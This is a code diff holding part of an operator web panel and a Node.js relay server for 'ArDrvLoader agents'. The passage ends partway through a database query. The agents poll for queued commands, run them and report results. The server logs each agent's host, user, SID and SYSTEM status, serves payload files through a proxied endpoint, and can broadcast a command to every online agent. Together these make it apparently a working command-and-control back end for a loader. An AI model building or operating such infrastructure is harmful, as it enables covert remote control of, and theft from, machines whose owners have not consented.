$("text").value = b.getAttribute("data-again");
|
||||||
|
send();
|
||||||
|
});
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
function send() {
|
||||||
|
var text = $("text").value.trim();
|
||||||
|
if (!selected) { toast("select an agent first", "bad"); return; }
|
||||||
|
if (!text) return;
|
||||||
|
|
||||||
|
$("sendBtn").disabled = true;
|
||||||
|
|
||||||
|
api("/api/enqueue", { method: "POST", body: JSON.stringify({ agent: selected, text: text }) })
|
||||||
|
.then(function (r) {
|
||||||
|
if (!r.ok) throw new Error(r.error || "enqueue failed");
|
||||||
|
$("text").value = "";
|
||||||
|
$("text").style.height = "42px";
|
||||||
|
toast("queued for " + selected, "ok");
|
||||||
|
return refresh(false);
|
||||||
|
})
|
||||||
|
.catch(function (e) { toast("send failed: " + e.message, "bad"); })
|
||||||
|
.then(function () { $("sendBtn").disabled = false; });
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ---------------- all commands view ---------------- */
|
||||||
|
|
||||||
|
var viewMode = "console";
|
||||||
|
var allCommands = [];
|
||||||
|
var sortKey = "created";
|
||||||
|
var sortDir = "desc";
|
||||||
|
var openAll = {};
|
||||||
|
|
||||||
|
function fmtDuration(c) {
|
||||||
|
if (c.finished && c.sent) return ((c.finished - c.sent) * 1000) + " ms";
|
||||||
|
if (c.state === "sent") return "waiting";
|
||||||
|
return "-";
|
||||||
|
}
|
||||||
|
|
||||||
|
function loadAll() {
|
||||||
|
return api("/api/commands?limit=200").then(function (r) {
|
||||||
|
allCommands = r.commands || [];
|
||||||
|
renderAll();
|
||||||
|
}).catch(function (e) {
|
||||||
|
if (String(e.message) !== "denied") toast("load failed: " + e.message, "bad");
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
function rowValue(c, key) {
|
||||||
|
if (key === "duration") return (c.finished && c.sent) ? (c.finished - c.sent) : 1e9;
|
||||||
|
if (key === "agent") return String(c.agent || "").toLowerCase();
|
||||||
|
if (key === "text") return String(c.text || "").toLowerCase();
|
||||||
|
if (key === "state") return String(c.state || "");
|
||||||
|
if (key === "operator") return String(c.operator || "");
|
||||||
|
if (key === "result") return String(c.result || "").toLowerCase();
|
||||||
|
return c[key] || 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
function renderAll() {
|
||||||
|
var f = ($("cmdFilter").value || "").toLowerCase();
|
||||||
|
var st = $("stateFilter").value;
|
||||||
|
|
||||||
|
var rows = allCommands.filter(function (c) {
|
||||||
|
if (st && c.state !== st) return false;
|
||||||
|
if (!f) return true;
|
||||||
|
return String(c.agent).toLowerCase().indexOf(f) >= 0 || String(c.text).toLowerCase().indexOf(f) >= 0;
|
||||||
|
});
|
||||||
|
|
||||||
|
rows.sort(function (a, b) {
|
||||||
|
var av = rowValue(a, sortKey), bv = rowValue(b, sortKey);
|
||||||
|
if (av < bv) return sortDir === "asc" ? -1 : 1;
|
||||||
|
if (av > bv) return sortDir === "asc" ? 1 : -1;
|
||||||
|
return 0;
|
||||||
|
});
|
||||||
|
|
||||||
|
Array.prototype.forEach.call(document.querySelectorAll("#cmdTable th"), function (th) {
|
||||||
|
th.classList.toggle("sorted", th.getAttribute("data-sort") === sortKey);
|
||||||
|
th.classList.toggle("asc", th.getAttribute("data-sort") === sortKey && sortDir === "asc");
|
||||||
|
th.classList.toggle("desc", th.getAttribute("data-sort") === sortKey && sortDir === "desc");
|
||||||
|
});
|
||||||
|
|
||||||
|
var html = rows.map(function (c) {
|
||||||
|
var open = openAll[c.id];
|
||||||
|
var detail = open
|
||||||
|
? '<tr class="detail"><td colspan="7"><pre>' + esc(c.result || "(no output)") + "</pre></td></tr>"
|
||||||
|
: "";
|
||||||
|
|
||||||
|
return '<tr class="row" data-id="' + esc(c.id) + '" title="click to load into the console">' +
|
||||||
|
'<td class="when">' + clock(c.created) + "</td>" +
|
||||||
|
'<td class="agent">' + esc(c.agent) + "</td>" +
|
||||||
|
'<td class="text"><span class="exp" data-expand="' + esc(c.id) + '" title="show result">' +
|
||||||
|
(openAll[c.id] ? "-" : "+") + "</span>" +
|
||||||
|
'<span class="rerun" data-rerun="' + esc(c.text) + '" data-rerun-agent="' + esc(c.agent) +
|
||||||
|
'" title="run this again now">run</span>' +
|
||||||
|
esc(c.text) + "</td>" +
|
||||||
|
'<td><span class="state ' + esc(c.state) + '">' + esc(c.state) + "</span></td>" +
|
||||||
|
'<td class="when">' + esc(c.operator || "") + "</td>" +
|
||||||
|
'<td class="res" data-expand="' + esc(c.id) + '" title="' + esc((c.result || "").replace(/\s+/g, " ")) + '">' +
|
||||||
|
esc((c.result || "").replace(/\s+/g, " ").slice(0, 90)) + "</td>" +
|
||||||
|
'<td class="num">' + esc(fmtDuration(c)) + "</td>" +
|
||||||
|
"</tr>" + detail;
|
||||||
|
}).join("");
|
||||||
|
|
||||||
|
$("cmdBody").innerHTML = html;
|
||||||
|
$("cmdEmpty").style.display = rows.length ? "none" : "block";
|
||||||
|
|
||||||
|
Array.prototype.forEach.call($("cmdBody").querySelectorAll("[data-rerun]"), function (b) {
|
||||||
|
b.addEventListener("click", function (e) {
|
||||||
|
e.stopPropagation();
|
||||||
|
|
||||||
|
var cmdText = b.getAttribute("data-rerun");
|
||||||
|
var agent = b.getAttribute("data-rerun-agent");
|
||||||
|
|
||||||
|
if (!confirm("Run again on " + agent + "?\n\n" + cmdText)) return;
|
||||||
|
|
||||||
|
api("/api/enqueue", { method: "POST", body: JSON.stringify({ agent: agent, text: cmdText }) })
|
||||||
|
.then(function (r) {
|
||||||
|
if (!r.ok) throw new Error(r.error || "enqueue failed");
|
||||||
|
toast("queued on " + agent, "ok");
|
||||||
|
return loadAll();
|
||||||
|
})
|
||||||
|
.catch(function (err) { toast("rerun failed: " + err.message, "bad"); });
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
Array.prototype.forEach.call($("cmdBody").querySelectorAll("tr.row"), function (tr) {
|
||||||
|
tr.addEventListener("click", function (e) {
|
||||||
|
var id = tr.getAttribute("data-id");
|
||||||
|
var expander = e.target.closest("[data-expand]");
|
||||||
|
|
||||||
|
// Clicking the result or the + toggles the output; clicking anywhere else
|
||||||
|
// loads the command into the console for immediate re-run.
|
||||||
|
if (expander) {
|
||||||
|
openAll[id] = !openAll[id];
|
||||||
|
renderAll();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
loadIntoConsole(tr);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
// Fast path: pick a past command, land in that agent's console with the text
|
||||||
|
// already in the box, cursor blinking, one Enter away.
|
||||||
|
function loadIntoConsole(tr) {
|
||||||
|
var id = tr.getAttribute("data-id");
|
||||||
|
var c = allCommands.filter(function (x) { return x.id === id; })[0];
|
||||||
|
|
||||||
|
if (!c) return;
|
||||||
|
|
||||||
|
if (selected !== c.agent) select(c.agent);
|
||||||
|
|
||||||
|
setView("console");
|
||||||
|
|
||||||
|
var box = $("text");
|
||||||
|
box.value = c.text;
|
||||||
|
box.style.height = "42px";
|
||||||
|
box.style.height = Math.min(box.scrollHeight, 160) + "px";
|
||||||
|
box.focus();
|
||||||
|
|
||||||
|
toast("ready to send: " + c.text.slice(0, 48), "ok");
|
||||||
|
}
|
||||||
|
|
||||||
|
function setView(mode) { viewMode = mode;
|
||||||
|
|
||||||
|
Array.prototype.forEach.call(document.querySelectorAll(".tab"), function (b) {
|
||||||
|
b.classList.toggle("active", b.getAttribute("data-view") === mode);
|
||||||
|
});
|
||||||
|
|
||||||
|
var all = mode === "commands";
|
||||||
|
|
||||||
|
$("allView").style.display = all ? "block" : "none";
|
||||||
|
$("history").style.display = all ? "none" : "block";
|
||||||
|
$("composer").style.display = all ? "none" : (selected ? "flex" : "none");
|
||||||
|
$("cmdFilter").style.display = all ? "block" : "none";
|
||||||
|
$("stateFilter").style.display = all ? "block" : "none";
|
||||||
|
|
||||||
|
if (all) loadAll(); else if (selected) refresh(false);
|
||||||
|
}
|
||||||
|
|
||||||
|
$("loginBtn").addEventListener("click", connect);
|
||||||
|
$("key").addEventListener("keydown", function (e) { if (e.key === "Enter") connect(); });
|
||||||
|
|
||||||
|
$("refreshBtn").addEventListener("click", function () { refresh(true); });
|
||||||
|
$("bcBtn").addEventListener("click", function () {
|
||||||
|
var text = prompt("Broadcast to every online agent:", "STATUS");
|
||||||
|
if (!text) return;
|
||||||
|
api("/api/broadcast", { method: "POST", body: JSON.stringify({ target: "all", text: text }) })
|
||||||
|
.then(function (r) { toast("broadcast queued for " + r.sent + " agents", "ok"); refresh(false); })
|
||||||
|
.catch(function (e) { toast("broadcast failed: " + e.message, "bad"); });
|
||||||
|
});
|
||||||
|
$("lockBtn").addEventListener("click", function () {
|
||||||
|
localStorage.removeItem("agentKey");
|
||||||
|
KEY = "";
|
||||||
|
lock("");
|
||||||
|
});
|
||||||
|
$("filter").addEventListener("input", renderAgents);
|
||||||
|
|
||||||
|
Array.prototype.forEach.call(document.querySelectorAll(".tab"), function (b) {
|
||||||
|
b.addEventListener("click", function () { setView(b.getAttribute("data-view")); });
|
||||||
|
});
|
||||||
|
|
||||||
|
Array.prototype.forEach.call(document.querySelectorAll("#cmdTable th"), function (th) {
|
||||||
|
th.addEventListener("click", function () {
|
||||||
|
var k = th.getAttribute("data-sort");
|
||||||
|
if (sortKey === k) sortDir = sortDir === "asc" ? "desc" : "asc";
|
||||||
|
else { sortKey = k; sortDir = (k === "created") ? "desc" : "asc"; }
|
||||||
|
renderAll();
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
$("cmdFilter").addEventListener("input", renderAll);
|
||||||
|
$("stateFilter").addEventListener("change", renderAll);
|
||||||
|
|
||||||
|
$("moreCmds").addEventListener("click", function () {
|
||||||
|
var p = $("palette");
|
||||||
|
p.classList.toggle("open");
|
||||||
|
|
||||||
|
if (p.classList.contains("open")) {
|
||||||
|
renderPalette($("cmdSearch").value);
|
||||||
|
$("cmdSearch").focus();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
$("cmdSearch").addEventListener("input", function () { renderPalette(this.value); });
|
||||||
|
$("sendBtn").addEventListener("click", send);
|
||||||
|
$("revokeBtn").addEventListener("click", function () {
|
||||||
|
var a = agents.filter(function (x) { return x.id === selected; })[0];
|
||||||
|
if (!a) return;
|
||||||
|
|
||||||
|
if (!confirm((a.revoked ? "Restore" : "Revoke") + " key for " + a.id + "?")) return;
|
||||||
|
|
||||||
|
api("/api/revoke", { method: "POST", body: JSON.stringify({ agent: a.id, revoked: !a.revoked }) })
|
||||||
|
.then(function () { toast(a.revoked ? "key restored" : "key revoked", "ok"); refresh(true); })
|
||||||
|
.catch(function (e) { toast("revoke failed: " + e.message, "bad"); });
|
||||||
|
});
|
||||||
|
|
||||||
|
$("clearSelection").addEventListener("click", function () {
|
||||||
|
selected = null;
|
||||||
|
$("agentTitle").style.display = "none";
|
||||||
|
$("composer").style.display = "none";
|
||||||
|
$("noAgent").style.display = "block";
|
||||||
|
$("agentMeta").innerHTML = "";
|
||||||
|
$("history").innerHTML = "";
|
||||||
|
renderAgents();
|
||||||
|
});
|
||||||
|
|
||||||
|
$("text").addEventListener("keydown", function (e) {
|
||||||
|
if (e.key === "Enter" && !e.shiftKey) { e.preventDefault(); send(); }
|
||||||
|
});
|
||||||
|
|
||||||
|
$("text").addEventListener("input", function () {
|
||||||
|
this.style.height = "42px";
|
||||||
|
this.style.height = Math.min(this.scrollHeight, 160) + "px";
|
||||||
|
});
|
||||||
|
|
||||||
|
document.addEventListener("keydown", function (e) {
|
||||||
|
if (e.key === "/" && document.activeElement.tagName !== "INPUT" && document.activeElement.tagName !== "TEXTAREA") {
|
||||||
|
e.preventDefault();
|
||||||
|
$("filter").focus();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
var preKey = new URLSearchParams(location.search).get("key");
|
||||||
|
if (preKey) { KEY = preKey; localStorage.setItem("agentKey", KEY); }
|
||||||
|
|
||||||
|
if (KEY) { $("login").style.display = "none"; start(); }
|
||||||
|
</script>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
@@ -0,0 +1,492 @@
|
|||||||
|
// Relay server for ArDrvLoader agents.
|
||||||
|
//
|
||||||
|
// The Cloudflare Worker is only a proxy in front of this process; all state,
|
||||||
|
// auth and the panel live here. Node >= 22 for node:sqlite.
|
||||||
|
//
|
||||||
|
// node server.js
|
||||||
|
//
|
||||||
|
// Env:
|
||||||
|
// PORT listen port (default 8790)
|
||||||
|
// DATA_DIR sqlite + payloads (default ./data)
|
||||||
|
// PANEL_PATH panel.html (default ../cloudflare/panel.html)
|
||||||
|
// AGENT_SECRET master key for agent key derivation
|
||||||
|
// OPERATOR_KEY panel / operator API key
|
||||||
|
// ENROLL_SECRET enrollment token
|
||||||
|
// LEGACY_MASTER_AUTH "true" accepts the shared key during rollout
|
||||||
|
// PROXY_SECRET when set, requests must carry X-Proxy-Secret
|
||||||
|
|
||||||
|
const http = require("node:http");
|
||||||
|
const fs = require("node:fs");
|
||||||
|
const path = require("node:path");
|
||||||
|
const crypto = require("node:crypto");
|
||||||
|
const { DatabaseSync } = require("node:sqlite");
|
||||||
|
|
||||||
|
const PORT = Number(process.env.PORT || 8790);
|
||||||
|
const DATA_DIR = path.resolve(process.env.DATA_DIR || path.join(__dirname, "data"));
|
||||||
|
const PANEL_PATH = path.resolve(process.env.PANEL_PATH || path.join(__dirname, "panel.html"));
|
||||||
|
|
||||||
|
const AGENT_SECRET = process.env.AGENT_SECRET || "";
|
||||||
|
const OPERATOR_KEY = process.env.OPERATOR_KEY || "";
|
||||||
|
const ENROLL_SECRET = process.env.ENROLL_SECRET || OPERATOR_KEY;
|
||||||
|
const PROXY_SECRET = process.env.PROXY_SECRET || "";
|
||||||
|
const LEGACY_MASTER_AUTH = process.env.LEGACY_MASTER_AUTH === "true";
|
||||||
|
|
||||||
|
fs.mkdirSync(DATA_DIR, { recursive: true });
|
||||||
|
fs.mkdirSync(path.join(DATA_DIR, "files"), { recursive: true });
|
||||||
|
|
||||||
|
const db = new DatabaseSync(path.join(DATA_DIR, "ardrv.sqlite"));
|
||||||
|
|
||||||
|
db.exec("PRAGMA journal_mode=WAL");
|
||||||
|
db.exec("PRAGMA busy_timeout=5000");
|
||||||
|
db.exec("PRAGMA synchronous=NORMAL");
|
||||||
|
|
||||||
|
db.exec(`
|
||||||
|
CREATE TABLE IF NOT EXISTS agents (
|
||||||
|
id TEXT PRIMARY KEY,
|
||||||
|
first_seen INTEGER NOT NULL,
|
||||||
|
last_seen INTEGER NOT NULL,
|
||||||
|
host TEXT, user TEXT, sid TEXT, version TEXT,
|
||||||
|
interval INTEGER, system INTEGER, tags TEXT, revoked INTEGER DEFAULT 0
|
||||||
|
);
|
||||||
|
CREATE TABLE IF NOT EXISTS commands (
|
||||||
|
id TEXT PRIMARY KEY,
|
||||||
|
agent TEXT NOT NULL,
|
||||||
|
text TEXT NOT NULL,
|
||||||
|
state TEXT NOT NULL,
|
||||||
|
created INTEGER NOT NULL,
|
||||||
|
sent INTEGER, finished INTEGER,
|
||||||
|
operator TEXT, result TEXT, error TEXT
|
||||||
|
);
|
||||||
|
CREATE INDEX IF NOT EXISTS idx_commands_agent ON commands(agent, created DESC);
|
||||||
|
CREATE INDEX IF NOT EXISTS idx_commands_state ON commands(state);
|
||||||
|
CREATE TABLE IF NOT EXISTS events (
|
||||||
|
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||||
|
ts INTEGER NOT NULL, kind TEXT NOT NULL, agent TEXT, detail TEXT
|
||||||
|
);
|
||||||
|
`);
|
||||||
|
|
||||||
|
const now = () => Math.floor(Date.now() / 1000);
|
||||||
|
|
||||||
|
function hmacHex(secret, message)
|
||||||
|
{
|
||||||
|
return crypto.createHmac("sha256", String(secret)).update(String(message)).digest("hex");
|
||||||
|
}
|
||||||
|
|
||||||
|
function sha256Hex(buf)
|
||||||
|
{
|
||||||
|
return crypto.createHash("sha256").update(buf || Buffer.alloc(0)).digest("hex");
|
||||||
|
}
|
||||||
|
|
||||||
|
function deriveAgentSecret(agent)
|
||||||
|
{
|
||||||
|
return hmacHex(AGENT_SECRET, "agent:" + agent);
|
||||||
|
}
|
||||||
|
|
||||||
|
function safeEqual(a, b)
|
||||||
|
{
|
||||||
|
const x = Buffer.from(String(a));
|
||||||
|
const y = Buffer.from(String(b));
|
||||||
|
return x.length === y.length && crypto.timingSafeEqual(x, y);
|
||||||
|
}
|
||||||
|
|
||||||
|
function json(res, data, status = 200)
|
||||||
|
{
|
||||||
|
const body = JSON.stringify(data);
|
||||||
|
res.writeHead(status, {
|
||||||
|
"Content-Type": "application/json; charset=utf-8",
|
||||||
|
"Content-Length": Buffer.byteLength(body),
|
||||||
|
"Cache-Control": "no-store"
|
||||||
|
});
|
||||||
|
res.end(body);
|
||||||
|
}
|
||||||
|
|
||||||
|
function text(res, body, status = 200, type = "text/plain; charset=utf-8")
|
||||||
|
{
|
||||||
|
const buf = Buffer.isBuffer(body) ? body : Buffer.from(String(body), "utf8");
|
||||||
|
res.writeHead(status, { "Content-Type": type, "Content-Length": buf.length, "Cache-Control": "no-store" });
|
||||||
|
res.end(buf);
|
||||||
|
}
|
||||||
|
|
||||||
|
function readBody(req)
|
||||||
|
{
|
||||||
|
return new Promise((resolve, reject) => {
|
||||||
|
const chunks = [];
|
||||||
|
req.on("data", c => chunks.push(c));
|
||||||
|
req.on("end", () => resolve(Buffer.concat(chunks)));
|
||||||
|
req.on("error", reject);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
function authenticateAgent(req, url, body)
|
||||||
|
{
|
||||||
|
const agent = (req.headers["x-agent-id"] || "").trim();
|
||||||
|
const ts = (req.headers["x-agent-ts"] || "").trim();
|
||||||
|
const sign = (req.headers["x-agent-sign"] || "").trim().toLowerCase();
|
||||||
|
|
||||||
|
if (!AGENT_SECRET || !agent || !ts || !sign)
|
||||||
|
return null;
|
||||||
|
|
||||||
|
if (!/^[A-Za-z0-9._-]{1,64}$/.test(agent))
|
||||||
|
return null;
|
||||||
|
|
||||||
|
const tsNum = Number(ts);
|
||||||
|
|
||||||
|
if (!Number.isFinite(tsNum) || Math.abs(now() - tsNum) > 300)
|
||||||
|
return null;
|
||||||
|
|
||||||
|
const canonicalPath = url.pathname.replace(/^\//, "") + url.search;
|
||||||
|
const canonical = `${agent}\n${ts}\n${req.method}\n${canonicalPath}\n${sha256Hex(body)}`;
|
||||||
|
|
||||||
|
if (safeEqual(hmacHex(deriveAgentSecret(agent), canonical), sign))
|
||||||
|
return agent;
|
||||||
|
|
||||||
|
if (LEGACY_MASTER_AUTH && safeEqual(hmacHex(AGENT_SECRET, canonical), sign))
|
||||||
|
return agent;
|
||||||
|
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
function operatorOk(req, url)
|
||||||
|
{
|
||||||
|
const key = req.headers["x-operator-key"] || url.searchParams.get("key") || "";
|
||||||
|
return OPERATOR_KEY && safeEqual(key, OPERATOR_KEY);
|
||||||
|
}
|
||||||
|
|
||||||
|
function agentRow(id)
|
||||||
|
{
|
||||||
|
return db.prepare("SELECT * FROM agents WHERE id = ?").get(id);
|
||||||
|
}
|
||||||
|
|
||||||
|
function poll(agent, req, res)
|
||||||
|
{
|
||||||
|
const row = agentRow(agent);
|
||||||
|
|
||||||
|
if (row && row.revoked)
|
||||||
|
return text(res, "revoked", 403);
|
||||||
|
|
||||||
|
const t = now();
|
||||||
|
|
||||||
|
db.prepare(`
|
||||||
|
INSERT INTO agents (id, first_seen, last_seen, host, user, sid, version, interval, system)
|
||||||
|
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)
|
||||||
|
ON CONFLICT(id) DO UPDATE SET
|
||||||
|
last_seen = excluded.last_seen,
|
||||||
|
host = COALESCE(excluded.host, agents.host),
|
||||||
|
user = COALESCE(excluded.user, agents.user),
|
||||||
|
sid = COALESCE(excluded.sid, agents.sid),
|
||||||
|
version = COALESCE(excluded.version, agents.version),
|
||||||
|
interval = COALESCE(excluded.interval, agents.interval),
|
||||||
|
system = excluded.system
|
||||||
|
`).run(
|
||||||
|
agent, t, t,
|
||||||
|
req.headers["x-agent-host"] || null,
|
||||||
|
req.headers["x-agent-user"] || null,
|
||||||
|
req.headers["x-agent-sid"] || null,
|
||||||
|
req.headers["x-agent-version"] || null,
|
||||||
|
Number(req.headers["x-agent-interval"]) || null,
|
||||||
|
req.headers["x-agent-system"] === "1" ? 1 : 0
|
||||||
|
);
|
||||||
|
|
||||||
|
const cmd = db.prepare(`
|
||||||
|
SELECT id, text FROM commands
|
||||||
|
WHERE agent = ? AND state = 'queued'
|
||||||
|
ORDER BY created ASC LIMIT 1
|
||||||
|
`).get(agent);
|
||||||
|
|
||||||
|
if (!cmd)
|
||||||
|
return text(res, "", 204);
|
||||||
|
|
||||||
|
db.prepare("UPDATE commands SET state = 'sent', sent = ? WHERE id = ?").run(t, cmd.id);
|
||||||
|
|
||||||
|
const b64 = Buffer.from(String(cmd.text), "utf8").toString("base64");
|
||||||
|
text(res, cmd.id + "\n" + b64);
|
||||||
|
}
|
||||||
|
|
||||||
|
function ack(agent, url, body, res)
|
||||||
|
{
|
||||||
|
const id = url.searchParams.get("id") || "";
|
||||||
|
const raw = body.toString("utf8");
|
||||||
|
|
||||||
|
let result = raw;
|
||||||
|
|
||||||
|
try { result = Buffer.from(raw, "base64").toString("utf8"); } catch { }
|
||||||
|
|
||||||
|
if (result.length > 32768)
|
||||||
|
result = result.slice(0, 32768) + "\n[truncated]";
|
||||||
|
|
||||||
|
db.prepare("UPDATE commands SET state='done', finished=?, result=? WHERE id=? AND agent=?")
|
||||||
|
.run(now(), result, id, agent);
|
||||||
|
|
||||||
|
db.prepare("UPDATE agents SET last_seen=? WHERE id=?").run(now(), agent);
|
||||||
|
|
||||||
|
text(res, "ok");
|
||||||
|
}
|
||||||
|
|
||||||
|
let lastPrune = 0;
|
||||||
|
|
||||||
|
// Keeps the database from growing forever. Commands are pruned by age and by
|
||||||
|
// count, events by age. Runs at most once a minute, from the agents endpoint.
|
||||||
|
function prune()
|
||||||
|
{
|
||||||
|
if (now() - lastPrune < 60)
|
||||||
|
return;
|
||||||
|
|
||||||
|
lastPrune = now();
|
||||||
|
|
||||||
|
const cmdDays = Number(process.env.RETAIN_COMMAND_DAYS || 7);
|
||||||
|
const evtDays = Number(process.env.RETAIN_EVENT_DAYS || 30);
|
||||||
|
const maxCommands = Number(process.env.RETAIN_MAX_COMMANDS || 50000);
|
||||||
|
|
||||||
|
db.prepare("DELETE FROM commands WHERE created < ?").run(now() - cmdDays * 86400);
|
||||||
|
db.prepare("DELETE FROM events WHERE ts < ?").run(now() - evtDays * 86400);
|
||||||
|
|
||||||
|
db.prepare(`DELETE FROM commands WHERE id IN (
|
||||||
|
SELECT id FROM commands ORDER BY created DESC LIMIT -1 OFFSET ?
|
||||||
|
)`).run(maxCommands);
|
||||||
|
}
|
||||||
|
|
||||||
|
function reapStale()
|
||||||
|
{
|
||||||
|
db.prepare("UPDATE commands SET state='queued', sent=NULL WHERE state='sent' AND sent IS NOT NULL AND sent < ?")
|
||||||
|
.run(now() - 180);
|
||||||
|
}
|
||||||
|
|
||||||
|
function agentsPayload()
|
||||||
|
{
|
||||||
|
reapStale();
|
||||||
|
prune();
|
||||||
|
|
||||||
|
const t = now();
|
||||||
|
const rows = db.prepare(`
|
||||||
|
SELECT a.*, (SELECT COUNT(*) FROM commands c WHERE c.agent = a.id AND c.state='queued') AS queued
|
||||||
|
FROM agents a ORDER BY a.last_seen DESC
|
||||||
|
`).all();
|
||||||
|
|
||||||
|
return rows.map(a => {
|
||||||
|
const interval = a.interval || 15000;
|
||||||
|
const intervalSec = Math.max(1, Math.round(interval / 1000));
|
||||||
|
const age = t - a.last_seen;
|
||||||
|
|
||||||
|
return {
|
||||||
|
id: a.id, host: a.host, user: a.user, sid: a.sid, version: a.version,
|
||||||
|
interval, system: !!a.system, tags: a.tags, queued: a.queued,
|
||||||
|
first_seen: a.first_seen, last_seen: a.last_seen,
|
||||||
|
age,
|
||||||
|
// interval is stored in ms, timestamps are seconds.
|
||||||
|
online: age < Math.max(intervalSec * 3, 45),
|
||||||
|
revoked: !!a.revoked
|
||||||
|
};
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
function enqueue(agent, cmdText, operator)
|
||||||
|
{
|
||||||
|
const id = crypto.randomUUID();
|
||||||
|
|
||||||
|
db.prepare("INSERT INTO commands (id, agent, text, state, created, operator) VALUES (?,?,?,?,?,?)")
|
||||||
|
.run(id, agent, cmdText, "queued", now(), operator);
|
||||||
|
|
||||||
|
db.prepare("INSERT INTO events (ts, kind, agent, detail) VALUES (?,?,?,?)")
|
||||||
|
.run(now(), "enqueue", agent, String(cmdText).slice(0, 200));
|
||||||
|
|
||||||
|
return id;
|
||||||
|
}
|
||||||
|
|
||||||
|
async function handle(req, res)
|
||||||
|
{
|
||||||
|
const url = new URL(req.url, "http://local");
|
||||||
|
const p = url.pathname;
|
||||||
|
|
||||||
|
if (PROXY_SECRET && req.headers["x-proxy-secret"] !== PROXY_SECRET)
|
||||||
|
return text(res, "denied", 403);
|
||||||
|
|
||||||
|
const body = ["GET", "HEAD"].includes(req.method) ? Buffer.alloc(0) : await readBody(req);
|
||||||
|
|
||||||
|
if (p === "/" || p === "/panel")
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
return text(res, fs.readFileSync(PANEL_PATH), 200, "text/html; charset=utf-8");
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
return text(res, "panel missing at " + PANEL_PATH, 500);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (p.startsWith("/file/"))
|
||||||
|
{
|
||||||
|
const name = path.basename(decodeURIComponent(p.slice(6)));
|
||||||
|
const file = path.join(DATA_DIR, "files", name);
|
||||||
|
|
||||||
|
if (!fs.existsSync(file))
|
||||||
|
return text(res, "not found", 404);
|
||||||
|
|
||||||
|
return text(res, fs.readFileSync(file), 200, "application/octet-stream");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (p.startsWith("/api/"))
|
||||||
|
{
|
||||||
|
if (p !== "/api/enroll" && !operatorOk(req, url))
|
||||||
|
return json(res, { ok: false, error: "denied" }, 403);
|
||||||
|
|
||||||
|
if (p === "/api/enroll" && req.method === "POST")
|
||||||
|
{
|
||||||
|
const provided = req.headers["x-enroll-secret"] || "";
|
||||||
|
|
||||||
|
if (!ENROLL_SECRET || !safeEqual(provided, ENROLL_SECRET))
|
||||||
|
return json(res, { ok: false, error: "enroll denied" }, 403);
|
||||||
|
|
||||||
|
let payload;
|
||||||
|
|
||||||
|
try { payload = JSON.parse(body.toString("utf8")); } catch { payload = null; }
|
||||||
|
|
||||||
|
if (!payload || !/^[A-Za-z0-9._-]{1,64}$/.test(payload.agent || ""))
|
||||||
|
return json(res, { ok: false, error: "valid agent id required" }, 400);
|
||||||
|
|
||||||
|
const t = now();
|
||||||
|
|
||||||
|
db.prepare(`INSERT INTO agents (id, first_seen, last_seen, revoked) VALUES (?,?,?,0)
|
||||||
|
ON CONFLICT(id) DO UPDATE SET revoked = 0`).run(payload.agent, t, t);
|
||||||
|
|
||||||
|
db.prepare("INSERT INTO events (ts, kind, agent, detail) VALUES (?,?,?,?)")
|
||||||
|
.run(t, "enroll", payload.agent, "issued");
|
||||||
|
|
||||||
|
return json(res, { ok: true, agent: payload.agent, secret: deriveAgentSecret(payload.agent) });
|
||||||
|
}
|
||||||
|
|
||||||
|
if (p === "/api/revoke" && req.method === "POST")
|
||||||
|
{
|
||||||
|
let payload;
|
||||||
|
|
||||||
|
try { payload = JSON.parse(body.toString("utf8")); } catch { payload = null; }
|
||||||
|
|
||||||
|
if (!payload || !payload.agent)
|
||||||
|
return json(res, { ok: false, error: "agent required" }, 400);
|
||||||
|
|
||||||
|
const revoked = payload.revoked === false ? 0 : 1;
|
||||||
|
|
||||||
|
db.prepare("UPDATE agents SET revoked=? WHERE id=?").run(revoked, payload.agent);
|
||||||
|
|
||||||
|
db.prepare("INSERT INTO events (ts, kind, agent, detail) VALUES (?,?,?,?)")
|
||||||
|
.run(now(), "revoke", payload.agent, revoked ? "revoked" : "restored");
|
||||||
|
|
||||||
|
return json(res, { ok: true, agent: payload.agent, revoked: !!revoked });
|
||||||
|
}
|
||||||
|
|
||||||
|
if (p === "/api/agents")
|
||||||
|
return json(res, { ok: true, now: now(), agents: agentsPayload() });
|
||||||
|
|
||||||
|
if (p === "/api/stats")
|
||||||
|
{
|
||||||
|
const counts = db.prepare("SELECT state, COUNT(*) AS n FROM commands GROUP BY state").all();
|
||||||
|
const agents = db.prepare(`
|
||||||
|
SELECT COUNT(*) AS n, SUM(CASE WHEN last_seen > ? THEN 1 ELSE 0 END) AS online FROM agents
|
||||||
|
`).get(now() - 300);
|
||||||
|
|
||||||
|
return json(res, { ok: true, agents: agents.n || 0, online: agents.online || 0, commands: counts });
|
||||||
|
}
|
||||||
|
|
||||||
|
if (p === "/api/commands")
|
||||||
|
{
|
||||||
|
const agent = url.searchParams.get("agent") || "";
|
||||||
|
const limit = Math.min(Number(url.searchParams.get("limit") || 50), 200);
|
||||||
|
|
||||||
|
const rows = agent
|
||||||
|
? db.prepare(`SELECT id, agent, text, state, created, sent, finished, operator,
|
||||||
|
substr(COALESCE(result,''),1,2000) AS result
|
||||||
|
FROM commands WHERE agent=? ORDER BY created DESC LIMIT ?`).all(agent, limit)
|
||||||
|
: db.prepare(`SELECT id, agent, text, state, created, sent, finished, operator,
|
||||||
|
substr(COALESCE(result,''),1,2000) AS result
|
||||||
|
